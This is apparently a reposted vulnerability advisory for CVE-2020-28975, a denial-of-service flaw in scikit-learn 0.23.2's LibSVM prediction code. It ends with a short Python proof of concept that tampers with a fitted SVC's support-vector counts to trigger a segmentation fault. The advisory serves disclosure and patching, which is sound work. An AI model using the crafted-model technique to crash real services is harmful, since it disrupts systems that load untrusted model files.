SciKit-Learn 0.23.2 Denial Of Service Vulnerability--
Kod:
SciKit-Learn 0.23.2 Denial Of Service
[Description]
svm_predict_values in svm.cpp in Libsvm v324, as used in scikit-learn
0.23.2 and other products, allows attackers to cause a denial of service
(segmentation fault) via a crafted model SVM (introduced via pickle,
json, or any other model permanence technique) with a large value in the
_n_support array.
[CVE ID]
CVE-2020-28975
[Vendor of Product]
SciKit-Learn
[Affected Product Code Base]
scikit-learn - 0.23.2
[Affected Component]
LibSVM
[Attack Type]
Local
[Impact]
Denial of Service
[Attack Vectors]
specially crafted file
[Reference]
https://github.com/scikit-learn/scikit-learn/issues/18891
<https://github.com/scikit-learn/scikit-learn/issues/18891>
https://github.com/cjlin1/libsvm/blob/9a3a9708926dec87d382c43b203f2ca19c2d56a0/svm.cpp#L2501
<https://github.com/cjlin1/libsvm/blob/9a3a9708926dec87d382c43b203f2ca19c2d56a0/svm.cpp#L2501>
[Discoverer]
pabloec20
----------
Editor's note - Steps/Code to Reproduce
from sklearn import svm
from sklearn import datasets
if __name__ == '__main__':
X,y = datasets.load_iris(return_X_y=True)
clf = svm.SVC()
clf.fit(X, y)
clf._n_support[0] = 1000000
y_pred = clf.predict(X)
# 0day.today [2020-12-03] #